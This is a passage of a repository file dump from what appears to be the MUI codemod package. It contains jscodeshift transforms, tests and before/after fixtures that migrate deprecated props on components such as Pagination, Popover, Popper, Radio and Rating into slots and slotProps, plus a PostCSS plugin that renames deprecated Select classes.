    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './pagination-item-props';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('pagination-item-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform({ source: read('./test-cases/actual.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform({ source: read('./test-cases/expected.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[theme] pagination-item-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false } },\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[package] pagination-item-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false }, packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-props/test-cases/actual.js",
    "content": "import PaginationItem from '@mui/material/PaginationItem';\n\n<PaginationItem components={{ first: first, last: last, next: next, previous: previous }} />;\n<PaginationItem\n  slots={{ first: slotFirst, last: slotLast, next: slotNext, previous: slotPrevious }}\n  components={{\n    first: componentFirst,\n    last: componentLast,\n    next: componentNext,\n    previous: componentPrevious,\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-props/test-cases/expected.js",
    "content": "import PaginationItem from '@mui/material/PaginationItem';\n\n<PaginationItem slots={{\n  first: first,\n  last: last,\n  next: next,\n  previous: previous\n}} />;\n<PaginationItem\n  slots={{ first: slotFirst, last: slotLast, next: slotNext, previous: slotPrevious }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-props/test-cases/package.actual.js",
    "content": "import PaginationItem from '@org/ui/material/PaginationItem';\n\n<PaginationItem components={{ first: first, last: last, next: next, previous: previous }} />;\n<PaginationItem\n  slots={{ first: slotFirst, last: slotLast, next: slotNext, previous: slotPrevious }}\n  components={{\n    first: componentFirst,\n    last: componentLast,\n    next: componentNext,\n    previous: componentPrevious,\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-props/test-cases/package.expected.js",
    "content": "import PaginationItem from '@org/ui/material/PaginationItem';\n\n<PaginationItem slots={{\n  first: first,\n  last: last,\n  next: next,\n  previous: previous\n}} />;\n<PaginationItem\n  slots={{ first: slotFirst, last: slotLast, next: slotNext, previous: slotPrevious }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiPaginationItem: {\n    defaultProps: {\n      components: {\n        first: componentFirst,\n        last: componentLast,\n        next: componentNext,\n        previous: componentPrevious,\n      },\n    },\n  },\n});\n\nfn({\n  MuiPaginationItem: {\n    defaultProps: {\n      components: {\n        first: componentFirst,\n        last: componentLast,\n      },\n      slots: {\n        next: slotNext,\n        previous: slotPrevious,\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/pagination-item-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiPaginationItem: {\n    defaultProps: {\n      slots: {\n        first: componentFirst,\n        last: componentLast,\n        next: componentNext,\n        previous: componentPrevious\n      }\n    },\n  },\n});\n\nfn({\n  MuiPaginationItem: {\n    defaultProps: {\n      slots: {\n        first: componentFirst,\n        last: componentLast,\n        next: slotNext,\n        previous: slotPrevious\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/popover-props/index.js",
    "content": "export { default } from './popover-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/popover-props/popover-props.js",
    "content": "import movePropIntoSlots from '../utils/movePropIntoSlots';\nimport movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Popover',\n    propName: 'BackdropComponent',\n    slotName: 'backdrop',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Popover',\n    propName: 'BackdropProps',\n    slotName: 'backdrop',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Popover',\n    propName: 'PaperProps',\n    slotName: 'paper',\n  });\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Popover',\n    propName: 'TransitionComponent',\n    slotName: 'transition',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Popover',\n    propName: 'TransitionProps',\n    slotName: 'transition',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/popover-props/popover-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './popover-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'popover-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/popover-props/test-cases/actual.js",
    "content": "import Popover from '@mui/material/Popover';\nimport { Popover as MyPopover } from '@mui/material';\n\n<Popover\n  BackdropComponent={CustomBackdrop}\n  BackdropProps={{ timeout: 200 }}\n  PaperProps={{ elevation: 4 }}\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ timeout: 200 }}\n/>;\n\n<Popover\n  BackdropComponent={CustomBackdrop}\n  BackdropProps={{ timeout: 200 }}\n  PaperProps={{ elevation: 4 }}\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ timeout: 200 }}\n  slotProps={{\n    backdrop: { sx: { backgroundColor: 'red' } },\n    paper: { sx: { backgroundColor: 'blue' } },\n    transition: { onEnter: () => {} },\n  }}\n/>;\n\n<MyPopover\n  BackdropComponent={CustomBackdrop}\n  BackdropProps={{ timeout: 200 }}\n  PaperProps={{ elevation: 4 }}\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ timeout: 200 }}\n/>;\n\n<CustomPopover\n  BackdropComponent={CustomBackdrop}\n  BackdropProps={{ timeout: 200 }}\n  PaperProps={{ elevation: 4 }}\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ timeout: 200 }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/popover-props/test-cases/expected.js",
    "content": "import Popover from '@mui/material/Popover';\nimport { Popover as MyPopover } from '@mui/material';\n\n<Popover\n  slots={{\n    backdrop: CustomBackdrop,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    backdrop: { timeout: 200 },\n    paper: { elevation: 4 },\n    transition: { timeout: 200 }\n  }} />;\n\n<Popover\n  slotProps={{\n    backdrop: {\n      ...{ timeout: 200 },\n      ...{ sx: { backgroundColor: 'red' } }\n    },\n    paper: {\n      ...{ elevation: 4 },\n      ...{ sx: { backgroundColor: 'blue' } }\n    },\n    transition: {\n      ...{ timeout: 200 },\n      ...{ onEnter: () => {} }\n    },\n  }}\n  slots={{\n    backdrop: CustomBackdrop,\n    transition: CustomTransition\n  }} />;\n\n<MyPopover\n  slots={{\n    backdrop: CustomBackdrop,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    backdrop: { timeout: 200 },\n    paper: { elevation: 4 },\n    transition: { timeout: 200 }\n  }} />;\n\n<CustomPopover\n  BackdropComponent={CustomBackdrop}\n  BackdropProps={{ timeout: 200 }}\n  PaperProps={{ elevation: 4 }}\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ timeout: 200 }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/popover-props/test-cases/package.actual.js",
    "content": "import Popover from '@org/ui/material/Popover';\nimport { Popover as MyPopover } from '@org/ui/material';\n\n<Popover\n  BackdropComponent={CustomBackdrop}\n  BackdropProps={{ timeout: 200 }}\n  PaperProps={{ elevation: 4 }}\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ timeout: 200 }}\n/>;\n\n<Popover\n  BackdropComponent={CustomBackdrop}\n  BackdropProps={{ timeout: 200 }}\n  PaperProps={{ elevation: 4 }}\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ timeout: 200 }}\n  slotProps={{\n    backdrop: { sx: { backgroundColor: 'red' } },\n    paper: { sx: { backgroundColor: 'blue' } },\n    transition: { onEnter: () => {} },\n  }}\n/>;\n\n<MyPopover\n  BackdropComponent={CustomBackdrop}\n  BackdropProps={{ timeout: 200 }}\n  PaperProps={{ elevation: 4 }}\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ timeout: 200 }}\n/>;\n\n<CustomPopover\n  BackdropComponent={CustomBackdrop}\n  BackdropProps={{ timeout: 200 }}\n  PaperProps={{ elevation: 4 }}\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ timeout: 200 }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/popover-props/test-cases/package.expected.js",
    "content": "import Popover from '@org/ui/material/Popover';\nimport { Popover as MyPopover } from '@org/ui/material';\n\n<Popover\n  slots={{\n    backdrop: CustomBackdrop,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    backdrop: { timeout: 200 },\n    paper: { elevation: 4 },\n    transition: { timeout: 200 }\n  }} />;\n\n<Popover\n  slotProps={{\n    backdrop: {\n      ...{ timeout: 200 },\n      ...{ sx: { backgroundColor: 'red' } }\n    },\n    paper: {\n      ...{ elevation: 4 },\n      ...{ sx: { backgroundColor: 'blue' } }\n    },\n    transition: {\n      ...{ timeout: 200 },\n      ...{ onEnter: () => {} }\n    },\n  }}\n  slots={{\n    backdrop: CustomBackdrop,\n    transition: CustomTransition\n  }} />;\n\n<MyPopover\n  slots={{\n    backdrop: CustomBackdrop,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    backdrop: { timeout: 200 },\n    paper: { elevation: 4 },\n    transition: { timeout: 200 }\n  }} />;\n\n<CustomPopover\n  BackdropComponent={CustomBackdrop}\n  BackdropProps={{ timeout: 200 }}\n  PaperProps={{ elevation: 4 }}\n  TransitionComponent={CustomTransition}\n  TransitionProps={{ timeout: 200 }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/popover-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiPopover: {\n    defaultProps: {\n      BackdropComponent: 'div',\n      BackdropProps: { timeout: 200 },\n      PaperProps: { elevation: 8 },\n      TransitionComponent: 'em',\n      TransitionProps: { timeout: 200 },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/popover-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiPopover: {\n    defaultProps: {\n      slots: {\n        backdrop: 'div',\n        transition: 'em'\n      },\n\n      slotProps: {\n        backdrop: { timeout: 200 },\n        paper: { elevation: 8 },\n        transition: { timeout: 200 }\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/popper-props/index.js",
    "content": "export { default } from './popper-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/popper-props/popper-props.js",
    "content": "import replaceComponentsWithSlots from '../utils/replaceComponentsWithSlots';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  replaceComponentsWithSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Popper',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/popper-props/popper-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './popper-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'popper-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/popper-props/test-cases/actual.js",
    "content": "import Popper from '@mui/material/Popper';\n\n<Popper\n  components={{ Root: ComponentsRoot }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n<Popper\n  slots={{ root: SlotsRoot }}\n  components={{ Root: ComponentsRoot }}\n  slotProps={{ root: slotsRootProps }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/popper-props/test-cases/expected.js",
    "content": "import Popper from '@mui/material/Popper';\n\n<Popper\n  slots={{\n    root: ComponentsRoot\n  }}\n  slotProps={{ root: componentsRootProps }}\n/>;\n<Popper\n  slots={{ root: SlotsRoot }}\n  slotProps={{ root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/popper-props/test-cases/package.actual.js",
    "content": "import Popper from '@org/ui/material/Popper';\n\n<Popper\n  components={{ Root: ComponentsRoot }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n<Popper\n  slots={{ root: SlotsRoot }}\n  components={{ Root: ComponentsRoot }}\n  slotProps={{ root: slotsRootProps }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/popper-props/test-cases/package.expected.js",
    "content": "import Popper from '@org/ui/material/Popper';\n\n<Popper\n  slots={{\n    root: ComponentsRoot\n  }}\n  slotProps={{ root: componentsRootProps }}\n/>;\n<Popper\n  slots={{ root: SlotsRoot }}\n  slotProps={{ root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/popper-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiPopper: {\n    defaultProps: {\n      components: { Root: ComponentsRoot },\n      componentsProps: { root: componentsRootProps },\n    },\n  },\n});\n\nfn({\n  MuiPopper: {\n    defaultProps: {\n      components: { Root: ComponentsRoot },\n      slots: { root: SlotsRoot },\n      componentsProps: { root: componentsRootProps },\n      slotProps: { root: slotsRootProps },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/popper-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiPopper: {\n    defaultProps: {\n      slots: {\n        root: ComponentsRoot\n      },\n\n      slotProps: {\n        root: componentsRootProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiPopper: {\n    defaultProps: {\n      slots: {\n        root: SlotsRoot\n      },\n\n      slotProps: {\n        root: {\n          ...componentsRootProps,\n          ...slotsRootProps\n        }\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/radio-props/index.js",
    "content": "export { default } from './radio-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/radio-props/radio-props.js",
    "content": "import movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Radio',\n    propName: 'inputProps',\n    slotName: 'input',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Radio',\n    propName: 'inputRef',\n    slotName: 'input',\n    slotPropName: 'ref',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/radio-props/radio-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './radio-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'radio-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/radio-props/test-cases/actual.js",
    "content": "import Radio from '@mui/material/Radio';\nimport { Radio as MyRadio } from '@mui/material';\n\n<Radio inputProps={{ 'aria-label': 'Radio' }} />;\n<Radio inputRef={ref} />;\n<Radio inputProps={{ 'aria-label': 'Radio' }} inputRef={ref} />;\n<Radio\n  inputProps={{ 'aria-label': 'Radio' }}\n  inputRef={ref}\n  slotProps={{ root: { id: 'test' } }}\n/>;\n<MyRadio inputProps={{ 'aria-label': 'Radio' }} />;\n<MyRadio inputRef={ref} />;\n<MyRadio inputProps={{ 'aria-label': 'Radio' }} inputRef={ref} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/radio-props/test-cases/expected.js",
    "content": "import Radio from '@mui/material/Radio';\nimport { Radio as MyRadio } from '@mui/material';\n\n<Radio slotProps={{\n  input: { 'aria-label': 'Radio' }\n}} />;\n<Radio slotProps={{\n  input: {\n    ref: ref\n  }\n}} />;\n<Radio\n  slotProps={{\n    input: {\n      'aria-label': 'Radio',\n      ref: ref\n    }\n  }} />;\n<Radio\n  slotProps={{\n    root: { id: 'test' },\n\n    input: {\n      'aria-label': 'Radio',\n      ref: ref\n    }\n  }} />;\n<MyRadio slotProps={{\n  input: { 'aria-label': 'Radio' }\n}} />;\n<MyRadio slotProps={{\n  input: {\n    ref: ref\n  }\n}} />;\n<MyRadio\n  slotProps={{\n    input: {\n      'aria-label': 'Radio',\n      ref: ref\n    }\n  }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/radio-props/test-cases/package.actual.js",
    "content": "import Radio from '@org/ui/material/Radio';\nimport { Radio as MyRadio } from '@org/ui/material';\n\n<Radio inputProps={{ 'aria-label': 'Radio' }} />;\n<Radio inputRef={ref} />;\n<Radio inputProps={{ 'aria-label': 'Radio' }} inputRef={ref} />;\n<MyRadio inputProps={{ 'aria-label': 'Radio' }} />;\n<MyRadio inputRef={ref} />;\n<MyRadio inputProps={{ 'aria-label': 'Radio' }} inputRef={ref} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/radio-props/test-cases/package.expected.js",
    "content": "import Radio from '@org/ui/material/Radio';\nimport { Radio as MyRadio } from '@org/ui/material';\n\n<Radio slotProps={{\n  input: { 'aria-label': 'Radio' }\n}} />;\n<Radio slotProps={{\n  input: {\n    ref: ref\n  }\n}} />;\n<Radio\n  slotProps={{\n    input: {\n      'aria-label': 'Radio',\n      ref: ref\n    }\n  }} />;\n<MyRadio slotProps={{\n  input: { 'aria-label': 'Radio' }\n}} />;\n<MyRadio slotProps={{\n  input: {\n    ref: ref\n  }\n}} />;\n<MyRadio\n  slotProps={{\n    input: {\n      'aria-label': 'Radio',\n      ref: ref\n    }\n  }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/radio-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiRadio: {\n    defaultProps: {\n      inputProps: { 'aria-label': 'Radio' },\n    },\n  },\n});\n\nfn({\n  MuiRadio: {\n    defaultProps: {\n      inputRef: ref,\n    },\n  },\n});\n\nfn({\n  MuiRadio: {\n    defaultProps: {\n      inputProps: { 'aria-label': 'Radio' },\n      inputRef: ref,\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/radio-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiRadio: {\n    defaultProps: {\n      slotProps: {\n        input: { 'aria-label': 'Radio' }\n      },\n    },\n  },\n});\n\nfn({\n  MuiRadio: {\n    defaultProps: {\n      slotProps: {\n        input: {\n          ref: ref\n        }\n      },\n    },\n  },\n});\n\nfn({\n  MuiRadio: {\n    defaultProps: {\n      slotProps: {\n        input: {\n          'aria-label': 'Radio',\n          ref: ref\n        }\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/rating-props/index.js",
    "content": "export { default } from './rating-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/rating-props/rating-props.js",
    "content": "import movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Rating',\n    propName: 'IconContainerComponent',\n    slotName: 'icon',\n    slotPropName: 'component',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/rating-props/rating-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './rating-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'rating-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/rating-props/test-cases/actual.js",
    "content": "import Rating from '@mui/material/Rating';\nimport { Rating as MyRating } from '@mui/material';\n\n<Rating IconContainerComponent={CustomIconContainer} />;\n<MyRating IconContainerComponent={CustomIconContainer} />;\n<Rating\n  IconContainerComponent={CustomIconContainer}\n  slots={{\n    root: 'div',\n  }}\n/>;\n<MyRating\n  IconContainerComponent={CustomIconContainer}\n  slots={{\n    ...outerSlots,\n  }}\n/>;\n<Rating\n  IconContainerComponent={CustomIconContainer}\n  slotProps={{\n    icon: {\n      id: 'my-rating-icon',\n    },\n  }}\n/>;\n\n// should skip non MUI components\n<NonMuiRating IconContainerComponent={CustomIconContainer} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/rating-props/test-cases/expected.js",
    "content": "import Rating from '@mui/material/Rating';\nimport { Rating as MyRating } from '@mui/material';\n\n<Rating slotProps={{\n  icon: {\n    component: CustomIconContainer\n  }\n}} />;\n<MyRating slotProps={{\n  icon: {\n    component: CustomIconContainer\n  }\n}} />;\n<Rating\n  slots={{\n    root: 'div',\n  }}\n  slotProps={{\n    icon: {\n      component: CustomIconContainer\n    }\n  }}\n/>;\n<MyRating\n  slots={{\n    ...outerSlots,\n  }}\n  slotProps={{\n    icon: {\n      component: CustomIconContainer\n    }\n  }}\n/>;\n<Rating\n  slotProps={{\n    icon: {\n      id: 'my-rating-icon',\n      component: CustomIconContainer\n    },\n  }} />;\n\n// should skip non MUI components\n<NonMuiRating IconContainerComponent={CustomIconContainer} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/rating-props/test-cases/package.actual.js",
    "content": "import Rating from '@org/ui/material/Rating';\nimport { Rating as MyRating } from '@org/ui/material';\n\n<Rating IconContainerComponent={CustomIconContainer} />;\n<MyRating IconContainerComponent={CustomIconContainer} />;\n<Rating\n  IconContainerComponent={CustomIconContainer}\n  slots={{\n    root: 'div',\n  }}\n/>;\n<MyRating\n  IconContainerComponent={CustomIconContainer}\n  slots={{\n    ...outerSlots,\n  }}\n/>;\n<Rating\n  IconContainerComponent={CustomIconContainer}\n  slotProps={{\n    icon: {\n      id: 'my-rating-icon',\n    },\n  }}\n/>;\n\n// should skip non MUI components\n<NonMuiRating IconContainerComponent={CustomIconContainer} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/rating-props/test-cases/package.expected.js",
    "content": "import Rating from '@org/ui/material/Rating';\nimport { Rating as MyRating } from '@org/ui/material';\n\n<Rating slotProps={{\n  icon: {\n    component: CustomIconContainer\n  }\n}} />;\n<MyRating slotProps={{\n  icon: {\n    component: CustomIconContainer\n  }\n}} />;\n<Rating\n  slots={{\n    root: 'div',\n  }}\n  slotProps={{\n    icon: {\n      component: CustomIconContainer\n    }\n  }}\n/>;\n<MyRating\n  slots={{\n    ...outerSlots,\n  }}\n  slotProps={{\n    icon: {\n      component: CustomIconContainer\n    }\n  }}\n/>;\n<Rating\n  slotProps={{\n    icon: {\n      id: 'my-rating-icon',\n      component: CustomIconContainer\n    },\n  }} />;\n\n// should skip non MUI components\n<NonMuiRating IconContainerComponent={CustomIconContainer} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/rating-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiRating: {\n    defaultProps: {\n      IconContainerComponent: CustomContainer,\n    },\n  },\n});\n\nfn({\n  MuiRating: {\n    defaultProps: {\n      IconContainerComponent: CustomContainer,\n      slotProps: {\n        root: {},\n      },\n    },\n  },\n});\n\nfn({\n  MuiRating: {\n    defaultProps: {\n      IconContainerComponent: CustomContainer,\n      slotProps: {\n        icon: {\n          id: 'my-rating-icon',\n        },\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/rating-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiRating: {\n    defaultProps: {\n      slotProps: {\n        icon: {\n          component: CustomContainer\n        }\n      },\n    },\n  },\n});\n\nfn({\n  MuiRating: {\n    defaultProps: {\n      slotProps: {\n        root: {},\n\n        icon: {\n          component: CustomContainer\n        }\n      }\n    },\n  },\n});\n\nfn({\n  MuiRating: {\n    defaultProps: {\n      slotProps: {\n        icon: {\n          id: 'my-rating-icon',\n          component: CustomContainer\n        },\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/select-classes/index.js",
    "content": "export { default } from './select-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/select-classes/postcss-plugin.js",
    "content": "const classes = [\n  {\n    deprecatedClass: ' .MuiSelect-iconFilled',\n    replacementSelector: ' .MuiSelect-filled ~ .MuiSelect-icon',\n  },\n  {\n    deprecatedClass: ' .MuiSelect-iconOutlined',\n    replacementSelector: ' .MuiSelect-outlined ~ .MuiSelect-icon',\n  },\n  {\n    deprecatedClass: ' .MuiSelect-iconStandard',\n    replacementSelector: ' .MuiSelect-standard ~ .MuiSelect-icon',\n  },\n];\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace deprecated Select classes with new classes`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      classes.forEach(({ deprecatedClass, replacementSelector }) => {\n        const selectorRegex = new RegExp(`${deprecatedClass.trim()}$`);\n\n        if (selector.match(selectorRegex)) {\n          rule.selector = selector.replace(selectorRegex, replacementSelector);\n        }\n      });\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  classes,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/select-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/select-classes/select-classes.js",
